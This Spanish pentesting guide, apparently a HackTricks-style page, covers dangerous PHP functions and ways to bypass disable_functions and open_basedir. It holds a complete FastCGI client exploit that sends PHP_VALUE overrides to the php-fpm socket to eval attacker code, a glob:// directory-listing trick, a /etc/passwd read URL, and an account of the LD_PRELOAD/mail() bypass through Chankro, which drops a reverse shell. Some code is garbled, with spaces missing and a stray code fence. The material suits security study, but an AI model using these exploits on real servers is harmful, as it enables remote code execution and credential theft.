mail / mb_send_mail - Esta función se utiliza para enviar correos electrónicos, pero también se puede abusar para inyectar comandos arbitrarios dentro del parámetro $options. Esto se debe a que la función mail de php suele llamar al binario sendmail dentro del sistema y permite agregar opciones adicionales. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y mostrar la salida:
dl - Esta función se puede utilizar para cargar dinámicamente una extensión de PHP. Esta función no estará siempre presente, por lo que debes verificar si está disponible antes de intentar explotarla. Lee esta página para aprender cómo explotar esta función.
Ejecución de Código PHP
Además de eval, existen otras formas de ejecutar código PHP: include/require se pueden utilizar para la ejecución de código remoto en forma de vulnerabilidades de Inclusión de Archivos Locales e Inclusión de Archivos Remotos.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Las funciones deshabilitadas es la configuración que se puede ajustar en archivos .ini en PHP que prohibirá el uso de las funciones indicadas. Open basedir es la configuración que indica a PHP la carpeta a la que puede acceder.
La configuración de PHP suele ajustarse en la ruta /etc/php7/conf.d o similar.
Ambas configuraciones se pueden ver en la salida de phpinfo():
open_basedir Bypass
open_basedir configurará las carpetas a las que PHP puede acceder, no podrás escribir/leer/ejecutar ningún archivo fuera de esas carpetas, pero tampoco podrás listar otros directorios.
Sin embargo, si de alguna manera puedes ejecutar código PHP arbitrario, puedes intentar el siguiente fragmento de código para intentar burlar la restricción.
Listando directorios con bypass de glob://
En este primer ejemplo se utiliza el protocolo glob:// con un bypass de ruta:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Nota1: En la ruta también puedes usar /e??/* para listar /etc/* y cualquier otra carpeta.
Nota2: ¡Parece que parte del código está duplicado, pero en realidad es necesario!
Nota3: Este ejemplo solo es útil para listar carpetas, no para leer archivos
Bypass completo de open_basedir abusando de FastCGI
Si quieres aprender más sobre PHP-FPM y FastCGI puedes leer la primera sección de esta página.
Si php-fpm está configurado, puedes abusar de él para evitar completamente open_basedir:
Ten en cuenta que lo primero que necesitas hacer es encontrar dónde está el socket unix de php-fpm. Suele estar en /var/run, por lo que puedes usar el código anterior para listar el directorio y encontrarlo.
Código de aquí.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Solicitud incorrecta');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Esta aplicación no puede multiplexar [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Nueva solicitud rechazada; demasiado ocupado [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Valor de rol desconocido [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// explotación real comienza aquíif (!isset($_REQUEST['cmd'])) {die("Verifique su entrada\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // carga útil php -- No hace nada$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Llamada: $uri\n\n";echo $client->request($params, $code)."\n";?>
Este script se comunicará con el socket Unix de php-fpm (generalmente ubicado en /var/run si se utiliza fpm) para ejecutar código arbitrario. La configuración de open_basedir será sobrescrita por el atributo PHP_VALUE que se envía.
Observe cómo se utiliza eval para ejecutar el código PHP que envíe dentro del parámetro cmd.
También observe la línea comentada 324, puede descomentarla y el payload se conectará automáticamente a la URL proporcionada y ejecutará el código PHP contenido allí.
Simplemente acceda a http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); para obtener el contenido del archivo /etc/passwd.
Puede estar pensando que de la misma manera en que hemos sobrescrito la configuración de open_basedir podemos sobrescribir disable_functions. Bueno, inténtelo, pero no funcionará, aparentemente disable_functions solo se puede configurar en un archivo de configuración php .ini y los cambios que realice usando PHP_VALUE no serán efectivos en esta configuración específica.
Bypass de disable_functions
Si logras ejecutar código PHP dentro de una máquina, probablemente quieras ir al siguiente nivel y ejecutar comandos del sistema arbitrarios. En esta situación, es común descubrir que la mayoría o todas las funciones de PHP que permiten ejecutar comandos del sistema han sido deshabilitadas en disable_functions.
Entonces, veamos cómo puedes evadir esta restricción (si es posible)
Simplemente regresa al principio de esta página y verifica si alguna de las funciones que ejecutan comandos no está deshabilitada y está disponible en el entorno. Si encuentras al menos una de ellas, podrás usarla para ejecutar comandos del sistema arbitrarios.
Bypass de LD_PRELOAD
Es bien sabido que algunas funciones en PHP como mail() van a ejecutar binarios dentro del sistema. Por lo tanto, puedes abusar de ellas utilizando la variable de entorno LD_PRELOAD para hacer que carguen una biblioteca arbitraria que pueda ejecutar cualquier cosa.
Funciones que se pueden usar para evadir disable_functions con LD_PRELOAD
mail
mb_send_mail: Efectiva cuando el módulo php-mbstring está instalado.
imap_mail: Funciona si el módulo php-imap está presente.
libvirt_connect: Requiere el módulo php-libvirt-php.
gnupg_init: Utilizable con el módulo php-gnupg instalado.
new imagick(): Esta clase puede ser abusada para evadir restricciones. Técnicas detalladas de explotación se pueden encontrar en un análisis exhaustivo aquí.
Puedes encontrar aquí el script de fuzzing que se utilizó para encontrar esas funciones.
Aquí tienes una biblioteca que puedes compilar para abusar de la variable de entorno LD_PRELOAD:
Para abusar de esta mala configuración puedes usar Chankro. Esta es una herramienta que generará un exploit de PHP que necesitas subir al servidor vulnerable y ejecutarlo (acceder a él a través de la web).
Chankro escribirá en el disco de la víctima la biblioteca y el shell inverso que deseas ejecutar y utilizará el truco de LD_PRELOAD + la función mail() de PHP para ejecutar el shell inverso.
Ten en cuenta que para usar Chankro, mail y putenvno pueden aparecer en la lista de disable_functions.
En el siguiente ejemplo puedes ver cómo crear un exploit de chankro para arquitectura 64, que ejecutará whoami y guardará la salida en /tmp/chankro_shell.out, chankro escribirá la biblioteca y el payload en /tmp y el exploit final se llamará bicho.php (ese es el archivo que necesitas subir al servidor de la víctima):
#!/bin/shwhoami >/tmp/chankro_shell.out
Funciones útiles de PHP: disable_functions y bypass de open_basedir
En entornos de pentesting web, a menudo es útil conocer algunas funciones de PHP que pueden ser deshabilitadas por motivos de seguridad, como exec, shell_exec, system, entre otras. Estas funciones pueden ser restringidas mediante la directiva disable_functions en el archivo de configuración php.ini.
Además, el parámetro open_basedir se utiliza para restringir los directorios a los que PHP tiene acceso. Sin embargo, en ocasiones es posible eludir esta restricción mediante técnicas específicas.
En este contexto, es importante comprender cómo funcionan estas funciones y cómo se pueden sortear las restricciones de disable_functions y open_basedir para llevar a cabo pruebas de penetración de manera efectiva.
Ten en cuenta que usando PHP puedes leer y escribir archivos, crear directorios y cambiar permisos.
Incluso puedes volcar bases de datos.
Quizás usando PHP para enumerar la máquina puedas encontrar una forma de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada).
He creado un webshell que facilita mucho la realización de estas acciones (nota que la mayoría de los webshells también te ofrecerán estas opciones): https://github.com/carlospolop/phpwebshelllimited
Bypasses dependientes de módulos/versiones
Existen varias formas de evadir disable_functions si se está utilizando algún módulo específico o explotar alguna versión específica de PHP:
Estas funciones aceptan un parámetro de tipo string que podría ser utilizado para llamar a una función de elección del atacante. Dependiendo de la función, el atacante puede o no tener la capacidad de pasar un parámetro. En ese caso, se podría utilizar una función de Divulgación de Información como phpinfo().
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Divulgación de Información
La mayoría de estas llamadas de función no son puntos de fuga. Pero podría ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. Si un atacante puede ver phpinfo(), definitivamente es una vulnerabilidad.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Funciones del Sistema de Archivos
Según RATS, todas las funciones del sistema de archivos en php son maliciosas. Algunas de estas no parecen ser muy útiles para el atacante. Otras son más útiles de lo que podrías pensar. Por ejemplo, si allow_url_fopen=On, entonces una URL puede ser utilizada como una ruta de archivo, por lo que una llamada a copy($_GET['s'], $_GET['d']); puede ser utilizada para subir un script PHP en cualquier lugar del sistema. Además, si un sitio es vulnerable a una solicitud enviada a través de GET, cada una de esas funciones del sistema de archivos puede ser abusada para canalizar un ataque a otro host a través de tu servidor.
Escribir en el sistema de archivos (parcialmente en combinación con la lectura)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir